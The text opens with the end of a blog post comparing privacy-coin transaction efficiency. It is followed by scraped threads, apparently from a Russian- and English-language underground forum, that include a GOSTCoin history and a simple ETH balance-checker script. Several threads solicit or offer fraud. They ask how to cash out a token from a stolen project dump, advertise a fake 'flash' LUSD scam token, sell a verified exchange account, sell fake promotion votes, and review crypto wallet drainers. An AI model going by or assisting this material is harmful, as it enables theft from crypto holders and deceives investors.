Bitcoin Network Notes​

Bitcoin has retained the 10min block times from its inception, but block sizes have been changed (in a way) with the introduction of SegWit11 to a maximum of 4MB for native SegWit transactions, and 1MB for “legacy” transactions. To provide the optimal network conditions for this comparison, I am assuming a 100% native SegWit adoption, something that is not even close to reality, but provides a better picture of what is possible in Bitcoin natively.

More details of how the weighting of transactions works in Bitcoin can be found in [“What’s the blocksize limit after SegWit?”](https://bitcoin.stackexchange.com/questions/98810/whats-the- blocksize-limit-after-segwit-and-how-do-legacy-nodes-deal-with-segwit).

Monero Network Notes​

The Monero network has a block time of 2min, but has a more complex block size limit than most other networks. In Monero, block sizes have a median and a hard cap that can both be expanded by miners at the expense of block subsidy penalties proportional to the block size increase. For the calculations below I’ve chosen the default block size hard cap, but the Monero network can easily and smoothly scale up without any developer intervention or software releases.

For more info on how this dynamic block scaling works, see “How Monero Solved the Block Size Problem That Plagues Bitcoin”.

Zcash Network Notes​

Zcash uses similar properties to the Bitcoin network, but with a reduced block time of only 1.25min between blocks while also changing block size to 2MB. As SegWit is not supported, there is no complicated block limit differences to discuss here.

Results​

As you can see below, due to the much more space-efficient transactions in Monero, you can support the most Bitcoin-weighted TPS when comparing “reasonably private” spends across the three networks.

Note that Zcash technically supports the highest TPS at the default block sizes, but combining their very quick block times with full blocks would lead to difficulties for nodes and a quickly growing blockchain.

Cryptocurrency| Block Time| Block Size Limit| Max TX/10min| Max TX/10min weighted to Bitcoin block size| Chain growth weighted to Bitcoin TX count
---|---|---|---|---|---
Bitcoin| 10min| legacy of 1MB, SegWit of 4MB| ~2,750 (with SegWit)| ~2,750 (with SegWit)| 0.77GB/d
Monero| 2min| Initial median of 300KB, hard cap of 2x median| ~2,150| ~2,900 (with SegWit)| 0.46GB/d
Zcash| 1.25min| 2MB| ~6,900| ~1,725 (with SegWit)| 0.77GB/d

Conclusion​

To summarize the findings here, we see that while Monero is often discounted as a privacy tool due to “scaling issues” or “inefficient transactions”, it actually boasts the most scalable privacy implementation among the leaders, and has been constantly iterating, dropping from nearly 13KB per transaction to ~1.4KB per transaction since it’s inception.

There is still a long way to go, but it’s exciting to see the constant progress pay off in a comparison of “reasonably private” spends like I’ve tried to do here.

I do realize that these comparisons are incredibly difficult to make, and would be grateful for any pointers on how I can better hone this approach to give a clear picture of privacy tool efficiency today.

Thanks for tuning in to my first blog post, and hopefully you’ll keep a close eye on my future writings!

If you have any questions from this post or would like to connect with me otherwise, please reach out via Signal, SimpleX, Threema, or Nostr.

Credits @SethforPrivacy

Есть ли где бесплатные верифицированные аккаунты какой-либо из данных бирж (Binance, FTX, Poloniex)?
ID: 67686ad7b4103b69df379954
Thread ID: 68464
Created: 2022-06-10T19:16:29+0000
Last Post: 2022-06-10T19:48:07+0000
Author: madheller404
Replies: 1 Views: 145

Нужен один верифицированный аккаунт одной из данных бирж (хотя, в принципе, и другие подойдут) . Может есть где, кто знает?

Worldcoin кошелок?
ID: 67686ad7b4103b69df379846
Thread ID: 89766
Created: 2023-06-05T15:56:17+0000
Last Post: 2023-06-05T15:56:17+0000
Author: tyman
Replies: 0 Views: 143

кто нибудь использовал новый Worldcoin кошелок?

sms Webpanel / HTTP API
ID: 67686ad7b4103b69df37992f
Thread ID: 70681
Created: 2022-07-26T12:30:40+0000
Last Post: 2022-07-26T18:44:56+0000
Author: TommyVic
Replies: 1 Views: 143

where can i get sms Webpanel / HTTP API

Minergate
ID: 67686ad7b4103b69df379819
Thread ID: 94479
Created: 2023-08-01T04:52:27+0000
Last Post: 2023-08-01T06:33:10+0000
Author: Cripo
Replies: 1 Views: 137

Собственно...
Minergate еще работает?я ,как не зайду,он все время лежит

GOSTCoin. История первой криптовалюты в I2P
ID: 67686ad7b4103b69df379916
Thread ID: 71924
Created: 2022-08-19T06:03:43+0000
Last Post: 2022-08-19T09:17:46+0000
Author: peacemaker
Replies: 1 Views: 137

Информационное пространство полнится различными видео и статьями на тему криптовалют. Яркий расцвет анонимных цифровых денег в массовом сознании начался примерно в 2016 году. В первую очередь это связано с активным использованием биткоина на подпольных торговых площадках. В силу открытости технологии и большой популярности слов "крипта", "блокчейн" и подобных им, появилась масса криптовалют-однодневок, которые искусственно росли в цене, привлекали инвесторов как из числа бизнес-деятелей, так и обычных зевак. Классическая схема выглядит так: создать кучу фантиков, затем набить им цену на любой бирже, а на пике цены продать все свои крипто-пустышки, забрав настоящие деньги доверчивых людей взамен на никому ненужные цифровые активы.

К 2018 году в сознании людей криптовалюта превратилась из панацеи для анонимных расчётов в инструмент спекуляции. К тому времени умерло сотни криптовалют-однодневок, а курс биткоина показал большие скачки, которые могут позволить не только заработать, но и дико обанкротиться.

Эта статья посвящена криптовалюте, которая была рождена на пике популярности технологии. В отличие от других ноу-неймов, ее разработала команда с именем, а сама валюта не рекламировалась в инстаграм-профилях с миллионной аудиторией. Ниже вы узнаете о первой в мире криптомонете, которая стала полностью адаптирована для работы через I2P без единой нужды обращаться в обычный интернет, где запросы подвержены перехвату, анализу и блокировкам.

fbea526927d0b07126d9fcfa57ce34ca.jpg

AnonCoin и GOSTCoin
Разработка первой криптовалюты, которая работала бы через анонимную сеть I2P, началась в 2013 году норвежским программистом, известным как Meeh. Это был AnonCoin. В то время криптовалюты не были широко распространены, но разбирающиеся люди видели особую перспективу для монеты, работающей через скрытую сеть. В 2015 году к AnonCoin присоединился orignal - основатель проекта i2pd, а затем еще несколько анонимов с узнаваемыми в узких кругах никнеймами. Короче говоря, к проекту мало-по малу присоединилась PurpleI2P - группа разработчиков I2P-роутера на C++.

github.com

PurpleI2P

PurpleI2P has 22 repositories available. Follow their code on GitHub.

github.com github.com

AnonCoin светило большое будущее, если бы не одно "но"... Основной разработчик страдал (а возможно и наслаждался) наркотической зависимостью. Как следствие, отсутствие критического мышления мешало ему прислушиваться к советам. В конечном счете Meeh вовсе пропал. Как говорят старожилы, сторчался. Вести проект, со многими деталями которого основная часть разработчиков была не согласна, не представлялось возможным. Русскоязычной частью небольшого сообщества было решено сделать форк и развивать его отдельно. Новый проект получил название GOSTCoin. К слову, на момент раскола в сообществе, AnonCoin так и не мог адекватно работать через сеть I2P.

GOSTCoin - криптовалюта, использующая криптографию по российскому государственному стандарту и изначально нацеленная на работу через сеть I2P. Проект основан в 2017 году. Начало GOSTCoin фактически ознаменовало полное угасание предыдущего проекта.

Самое первое, что бросается в глаза - это ГОСТ. Название GOSTCoin базируется на использовании ГОСТ Р 34.10-2012 и ГОСТ Р 34.11-2012: 34.10 - функция цифровой подписи, 34.11 - функция хеширования. Стандарт цифровой подписи 34.10 является подобием зарубежного алгоритма ECDSA - подпись на эллиптической кривой, а функция хеширования 34.11 (Стрибог) - подобием зарубежных SHA256 и SHA512.

В использовании ГОСТ будто бы угадывается нота юмора, но на деле выбор в пользу российского стандарта был вовсе не случаен - все форки биткоина использовали в своей подписи одну и ту же кривую secp256k1, что теоретически делало их равно уязвимыми. В пик популярности криптовалют было немало специалистов, которые были не против поэкспериментировать с различными атаками. Если допустить существование полного словаря цифровых подписей на эллиптической кривой secp256k1, он нанес бы урон сразу почти по всем криптовалютам. Использование подписи ГОСТ Р 34.10 - это решение, которое вывело GOSTCoin из-под общей гребенки одинаковых подписей. В настоящее время он является не единственной монетой, использующей нестандартную для остальных криптовалют подпись, но таких монет по прежнему мало, а вот специального ПО для подбора биткоин-подобных адресов становится только больше.

В Российских криптографических стандартах прямо упоминается Федеральная служба безопасности. Это наводит на некоторые опасения, но с другой стороны говорит о том, что GOSTCoin использует те же стандарты криптографической безопасности, что и государственные ведомства России. По правде говоря, распространенные зарубежные криптографические стандарты также являются прямо или косвенно аффилированными с европейскими и американскими силовыми ведомствами. Так уж в мире повелось, что авангардные технологии в первую очередь осваиваются силовиками.

В интернете можно найти информацию об аудите названных российских стандартов и заключить, что теоретические слабые места есть во всем, но их практическая эксплуатация с целью атаки на GOSTCoin - из области фантастики. Никаких обращений в офис ФСБ при работе GOSTCoin не происходит.

Кто и ради чего?
После отделения от AnonCoin было сделано много работы, благодаря чему GOSTCoin стал работоспособным инструментом для анонимных финансовых операций. Примечательно, что в разработку стабильной монеты, работающей через I2P, не было никаких вливаний, кроме энтузиазма самих разработчиков. Это не редкость для свободных проектов с открытым исходным кодом, но в случае GOSTCoin о чистоте помыслов говорит дополнительный фактор: разработчикам можно было бы заработать на своем детище, ведь это не просто криптовалюта, а мечта анона, но до этого момента вы наверняка никогда не слышали про GOSTCoin. Оно и ясно просто потому, что его никто широко не рекламировал. Как после первого релиза, так и спустя четыре года, GOSTCoin обменивается всего на двух-трех биржах, одна из которых в I2P.

Изначально курс поднимался выше двадцати рублей за один "гост". На момент публикации этой статьи, курс колеблется около двух рублей. Тот факт, что валюта существует уже несколько лет при низком курсе, причем ей занимаются всё те же люди, подтверждает суждение о том, что целью создания валюты было что угодно, но не быстрая нажива. Скорее всего здесь уместно рассуждение об идеологии, о стремлении к приватности и анонимности, о чем-то таком, что лежит в основании кредо анонов старой закалки. Отмечу, что данный материал создан мной на безвозмездной основе и на момент публикации я являюсь держателем ста монет, намайненных ради забавы на гиговой видеокарте. Это меньше трехсот российских рублей, поэтому мой интерес также из плоскости энтузиазма и исследовательского азарта.

Энтузиазм разработчиков новой криптовалюты в 2017 году не был исключительно "сам в себе", выражаясь языком Канта. Хобби выходного вечера имело вполне понятные горизонты. Со слов одного из активных деятелей сообщества, между разработчиками были обсуждения о том, что их монета благодаря использованию стандартизированной российской криптографии может привлечь внимание какого- нибудь крупного российского финансового игрока вроде Сбербанка или ВТБ. Для привлечения внимания была создана тема на Reddit (из-за отсутствия модерации канал забанен) и опубликована пара русскоязычных новостей. В то время криптовалюта в России юридически не являлась платежным средством, хоть сама технология уже была на слуху. Возможно, группа анонов питала надежды, что мир на грани криптоанархизма... Но увы. Исходя из современного положения дел с цифровыми деньгами, могу предположить, что у анонимной монеты на самом деле не было ни единого шанса занять место в мире, где во главу угла ставится прозрачность финансовых операций и тотальный контроль.

bitalk.org

[ GOSTcoin (GST) монета с поддержкой I2P

](https://bitalk.org/threads/21455/)

О проекте Gostcoin (GST) - это криптовалюта первого поколения (также как и Bitcoin - c полноценным блокчейном). Она позволяет осуществлять мгновенные...

bitalk.org bitalk.org

Устоявшаяся ниша GOSTCoin весьма скромная: единственное место, где он практически используется, это анонимная торговая площадка в I2P. Там же находится одна из немногих обменных бирж, где игроки продают и покупают "гост" за биткоин и другие криптовалюты (ссылку не оставлю из этических соображений, так как на бирже еще торгуются ПАВ). Хешрейт добычи монеты весьма скромен. На момент выхода статьи, его можно сравнить с майнингом на шестидесяти средних видеокартах. Несмотря на это, в сети по прежнему поддерживается майнинговый пул.

GOSTCoin в 2021
Возможно, после услышанного у вас появится желание посмотреть на монету вживую. Сделать это легко. Для начала посетите официальный сайт, где найдете все полезные ссылки. Готовые бинарники кошельков для Windows и Android размещены в официальном гит-репозитории проекта, а вот пользователям других операционных систем нужно будет самим собрать кошелек из исходников. Инструкция для этого дела прилагается. Нужно отметить, что для работы через I2P необходимо иметь I2P-роутер с включенным интерфейсом SAM, о чем сказано на главной странице официального репозитория. В i2pd SAM включается через конфигурационный файл параметром enabled = true в секции [sam]. Программное обеспечение для майнинга также открыто и его легко найти.

GOSTcoin

gostco.in gostco.in

http://explorer.gostco.in/

github.com

GOSTSec

GOSTSec has 14 repositories available. Follow their code on GitHub.

github.com github.com

Чтобы сделать бэкап созданного кошелька, сохраните файл wallet.dat из рабочей директории приложения. В unix-like операционных системах это, как правило, ~/.gostcoin/, а в Windows - %AppData%\Gostcoin\.

Статья составлена по тексту из видео. Материал не призывает всё бросить и скупать упомянутую криптовалюту. Любые финансовые операции с GOSTCoin вы производите на свой страх и риск.

P.S. взято с habr

есть токен coingate как вывести?
ID: 67686ad7b4103b69df3798fb
Thread ID: 73850
Created: 2022-10-02T10:46:20+0000
Last Post: 2022-10-02T10:58:47+0000
Author: SebWuz
Replies: 1 Views: 133

Я угнал дамп одного из криптопроектов.
Там есть папка coingate
в index.php имеются такие строки

'auth_token' => 'тут токен,
'environment' => 'sandbox',

что можно с этим сделать?
как вывести ?

scam crypto LUSD
ID: 67686ad7b4103b69df37965d
Thread ID: 129394
Created: 2024-12-20T20:27:09+0000
Last Post: 2024-12-20T20:27:09+0000
Author: astonp
Replies: 0 Views: 130

Fake (flash, scam) cryptocurrency LUSD
Displayed on coinmarketcap and available in the Coinbase wallet.
can be transferred to Coinbase wallets and the larger USD amount will appear there.
does not disappear from the account anywhere, can be transferred to other coinbase wallets
I can be a regular supplier

![t.me](/proxy.php?image=https%3A%2F%2Fcdn4.cdn- telegram.org%2Ffile%2FPziVNoOQgnKcwLi_au7INCpEcF_zNHf4gM2B1WEURgFbFXUd0U-1w4EyvCHE6Jd6X92b8LuRGQUhfeIVY3zFyqDNihl1zTICfkH_NAUvKuOJ7F_w97nQ4mm- epYnRzr52WEevagFCN_QtyFlQx2Nl_G1oFBqsxWFBk0Pw7lTeCK1VFyhbSXBXxcBMFqeGhxGafsqaKUMZrGGrRAXqYdf23J7L_JvSkDjUL6ZbGsJSndsVLSfb1iAplIjfRVbHkJQhZfwz1cidhXkkmA7kSk7QfTiV2j-dR94uH9_FUqx9hofUpJ4JxNMvBqjG1XDcU4cipo791JLJm- onv-6_-pQxw.jpg&hash=ef5ac5b999f307037d60de29e64232e4&return_error=1)

Amazon Business

You can contact @gggreat7 right away.

t.me t.me

Airdrop, abuz, nft, wl
ID: 67686ad7b4103b69df3798fc
Thread ID: 73846
Created: 2022-10-02T01:11:40+0000
Last Post: 2022-10-02T01:11:40+0000
Author: Elhearts
Replies: 0 Views: 129

Hello everyone, I want to ask you for some possible exchanges with abuses of the referral program. NFT, maybe someone knows, some sites with information on airdrops and so on, I will be glad of any information. Thank you if it is suitable, I will pay, thank you with a coin
------------------------------------
Пишу на двух языках

Всем привет, хочу у вас поинтересоваться за какие-то возможные биржи с абузами реферальной программы. Нфт, может быть, кто-то знает, какие-то сайты с информацией по аирдропами и так далее, буду рад любой информации. Спасибо, если она годная, заплачу, отблагодарю монетой

MY AD TARGET
ID: 67686ad7b4103b69df379987
Thread ID: 64812
Created: 2022-03-25T14:40:18+0000
Last Post: 2022-03-25T17:37:02+0000
Author: HASTA
Replies: 1 Views: 128

How can we find out which countries use a crypto site the most?

Crypto promotion
ID: 67686ad7b4103b69df37986d
Thread ID: 86335
Created: 2023-04-20T20:01:07+0000
Last Post: 2023-04-20T20:01:07+0000
Author: Amster
Replies: 0 Views: 127

Trending Dextools, CMC, CG, crypto.com, etc
Trending CMC most visited
Trending CMC price estimates
Likes and followers CMC
Trending country CG.
Watchlists CMC and CG
Votes on any sites like coinsniper. Votes for polls
Votes Dextools
Votes Reddit
Trending Twitter posts by popular hashtags like #crypto, #bsc, #nft, etc
Mentions and DMs Twitter
and much more

TG - @promotion_crypto

testnet
ID: 67686ad7b4103b69df37994a
Thread ID: 69405
Created: 2022-06-29T20:34:38+0000
Last Post: 2022-06-29T20:52:03+0000
Author: crx
Replies: 2 Views: 123

Где взять крипты на тестовую сеть? Интересует btc/eth.

Binance akk
ID: 67686ad7b4103b69df37993e
Thread ID: 70331
Created: 2022-07-19T09:52:21+0000
Last Post: 2022-07-19T09:52:21+0000
Author: Dance777
Replies: 0 Views: 122

Продам бинанс Украина верифирован. Писать тг https://t.me/vVvteme

Где найти чаты с продажей токенов MOCEAN?
ID: 67686ad7b4103b69df379963
Thread ID: 67868
Created: 2022-05-30T11:50:24+0000
Last Post: 2022-05-30T11:51:13+0000
Author: lohatnikov
Replies: 1 Views: 122

Есть у меня короче 17000 тыщ с хвостиком этого овна. На pre-sale они стоят 3000 MOCEAN = 1 BNB. Хочу продать их в 3 раза ниже по цене но не могу найти покупателей. На панкейке они есть, но там трабла что продать в пуле MOCEAN/BNB можно только 1 процент в день с одного адреса. Гонять их туда-сюда ну объективно пальцы сотрешь. Я как только не пытался их впарить и в телеге писал во все чаты и создал свой пул c USDT на панкейке с супер маленькой ценой (правда там ликвидности немного). Все бесполезно. Люди предпочитают заплатить на пресейле в 3 раза больше. Токены есть, между адресами можно свободно их перемещать - ограничение только на пул MOCEAN/BNB. Могу через 1inch P2P создать сделку и продать. Не понимаю где народ искать. Это не скам - это реальный токен от OCEAN FINANCE

Нужен простецкий обход АВ в сети ETH.
ID: 67686ad7b4103b69df37981f
Thread ID: 93941
Created: 2023-07-25T14:39:39+0000
Last Post: 2023-07-25T14:39:39+0000
Author: BankRoll
Replies: 0 Views: 116

*ne aktual'no
thx

Someone knows cc top ups methode?
ID: 67686ad7b4103b69df37986c
Thread ID: 86457
Created: 2023-04-22T16:54:09+0000
Last Post: 2023-04-22T16:54:09+0000
Author: jamesblacka
Replies: 0 Views: 114

Someone knows cc top ups methodes? if we accept the otp .?

Ищу человека со своей BSC (BNB) нодой RPC
ID: 67686ad7b4103b69df379947
Thread ID: 69613
Created: 2022-07-04T04:44:23+0000
Last Post: 2022-07-04T04:44:23+0000
Author: Code
Replies: 0 Views: 110

Шапка. Хочу взять в аренду. Нужна очень срочно. Писать по контактам в профиле

Чекер ETH адресов на балансы
ID: 67686ad7b4103b69df37965c
Thread ID: 129407
Created: 2024-12-20T22:37:50+0000
Last Post: 2024-12-20T22:37:50+0000
Author: antikrya
Replies: 0 Views: 109

Нуждающимся.
Чекер ETH адресов на балансы, показывает ТОЛЬКО нативный баланс, не показывает баланс токенов.
Работает без прокси. Если Вас забанит, то увеличьте тайминг между запросами.

Python:Copy to clipboard

import time
from web3 import Web3

# Публичный узел Ethereum
infura_url = "https://cloudflare-eth.com"
w3 = Web3(Web3.HTTPProvider(infura_url))

def check_balance(wallet_address):
    """Проверяет баланс указанного адреса кошелька."""
    try:
        wallet_address = w3.to_checksum_address(wallet_address)
    except ValueError:
        return None, f"Invalid address: {wallet_address}"

    try:
        balance = w3.eth.get_balance(wallet_address)
    except Exception as e:
        return None, f"Error fetching balance for {wallet_address}: {str(e)}"
    
    balance_in_ether = w3.from_wei(balance, 'ether')
    return balance_in_ether, None

def main():
    with open('wallets.txt', 'r') as wallets_file:
        wallet_addresses = wallets_file.read().splitlines()

    # Открытие файла для записи результатов
    with open('balances.txt', 'w') as result_file:
        for index, address in enumerate(wallet_addresses, start=1):
            balance_info, error = check_balance(address)

            # Формируем строку для записи; если возникла ошибка, записываем её
            if error:
                result_line = f"Wallet {index}: {address} - Error: {error}"
            else:
                # Записываем, если баланс не равен нулю
                if balance_info > 0:
                    result_line = f"Wallet {index}: {address} has balance of {balance_info:.18f} ETH"
                else:
                    continue  # Пропустить запись, если баланс равен нулю

            # Сразу записываем результат в файл
            result_file.write(result_line + "\n")
            result_file.flush()  # Принудительно записываем данные из буфера в файл
            print(result_line)  # Выводим результат с номером кошелька
            
            # Задержка между запросами
            time.sleep(0.1)

if __name__ == "__main__":
    start_time = time.time()
    main()
    print(f"Execution time: {time.time() - start_time} seconds")
What're the best and trust darknet crypto exchangers
ID: 67686ad7b4103b69df379814
Thread ID: 94857
Created: 2023-08-05T10:53:18+0000
Last Post: 2023-08-05T11:18:37+0000
Author: MrVlad
Replies: 1 Views: 108

Recommend with your experience and links

какой лучше всего подключить в шоп кошелек Btc-ltc-xmr
ID: 67686ad7b4103b69df37995a
Thread ID: 68229
Created: 2022-06-06T13:19:16+0000
Last Post: 2022-06-06T13:19:16+0000
Author: a-stra
Replies: 0 Views: 100

Всем привет, кто может подсказать какой лучше всего подключать кошелек в шоп для автоматического пополнения баланса

Обсуждение SeaPermit Drainer
ID: 67686ad7b4103b69df3798bd
Thread ID: 82633
Created: 2023-01-21T07:11:26+0000
Last Post: 2023-01-21T07:11:26+0000
Author: Detective
Replies: 0 Views: 96

CryptoGrab said:

У нас автоматизированный проект
Твоё мнение не обоснованно нечем
у нас 2 дрейнера, раз у тебя не хватило силы прочесть гайд? - жаль.
SeaPermit Multichain Drainer (Seaport+Permit, WalletConnect, BinanceWallet, script working in 10+ networks)
Думаю тут чучуть больше чем вытащить "нативный токен"
Но объяснять не вижу смысла - пишешь полный бред. Сьемы - все видят и полюбому ты видел - удачи.

Click to expand...

О каком бреде идет речь?
Если по фактам поясню - У вас стоит default drainer - от рефреша, по счастливой случанойсти стал обладателем этого дрейнера, продукт максимально кривой, автор сделал фиксы после наших замечаний, а до этого продукт не работал так как должен, к вам на сервис пришел так как вы очень красиво писали про автоматизацию, думал что у вас свой код, а по факту у вас стоит кривой код от автора выше, вы этого даже не скрываете, при запуске скрипта у вас в логе так и было написано "Server start on port XXX By XXXX" В свою очередь это сообщение из логов вы очень быстро подправили! Не буду говорить уже о том, что когда получили обновение вы его настолько спешно накатили, что не успели изменить часть кода с уведомленями, где показывали рабочие домены партнеров. Если вы продолжите отрицать эти факты, я подготовлю более серьезнвую почву доказательств, со скринами и частями кода вашего дрейнера и со всеми его косяками, чтобы ваши клиенты знали что льют они на половину рабочее говно.

"Сьемы - все видят и полюбому ты видел - удачи."
Посмотри логи, одни деклайны! Про это и идет речь, скрипт не в состоянии даже правильно газ рассчитать чтобы отправить НЕ нативный токен.

Если вы не в курсе этих проблем, мне очень жаль, самой правильной реакцией с вашей стороны будет, принять свою ошибку, и поднять самостоятельно хороший скрипт, а не кормить клиентов говном, у некоторых трафик может быть достаточно дорогим, чтобы пользоваться такими недоработанными продуктами.

UPD
SeaPermit Multichain Drainer - про этот дрейнер ничего не могу сказать, не пользовался, саппорт не дал внятный комментариев в разнице между SeaPermit и Default
Выбор пал на второй, результаты анализа и тесты я описал выше.

BTC wallets for ecommerce
ID: 67686ad7b4103b69df37987d
Thread ID: 84841
Created: 2023-03-30T08:26:02+0000
Last Post: 2023-03-30T08:26:02+0000
Author: vivalavaida21
Replies: 0 Views: 87

Who here knows about a btc wallet for e-commerce, does it require real kyc or not? if anyone knows please dm https://t.me/lokaloka211, I'll pay for it.

thank's all

Ищу токен к Daazweb
ID: 67686ad7b4103b69df379988
Thread ID: 64763
Created: 2022-03-24T16:19:24+0000
Last Post: 2022-03-24T16:19:24+0000
Author: obnaldenegtut
Replies: 0 Views: 81

Ищу токен к daazweb
Пишите в лс или в тг @eto_veselo

Ищу команду шиллеров для продвижения крипты
ID: 67686ad7b4103b69df379659
Thread ID: 129489
Created: 2024-12-22T09:32:50+0000
Last Post: 2024-12-22T09:32:50+0000
Author: v1ron
Replies: 0 Views: 37

Привет!

Ищу команду профессиональных шиллеров для продвижения крипто-монеты через Telegram (в том числе арбитраж).

Есть проект — группа для пресейла мем-коина, требуется качественное продвижение и привлечение аудитории.

Если вы опытный шиллер или знаете, как эффективно работать с арбитражом крипто траффика, пишите в личку.

Ключевые слова: шиллинг, крипта, арбитраж, Telegram, мем
-коины.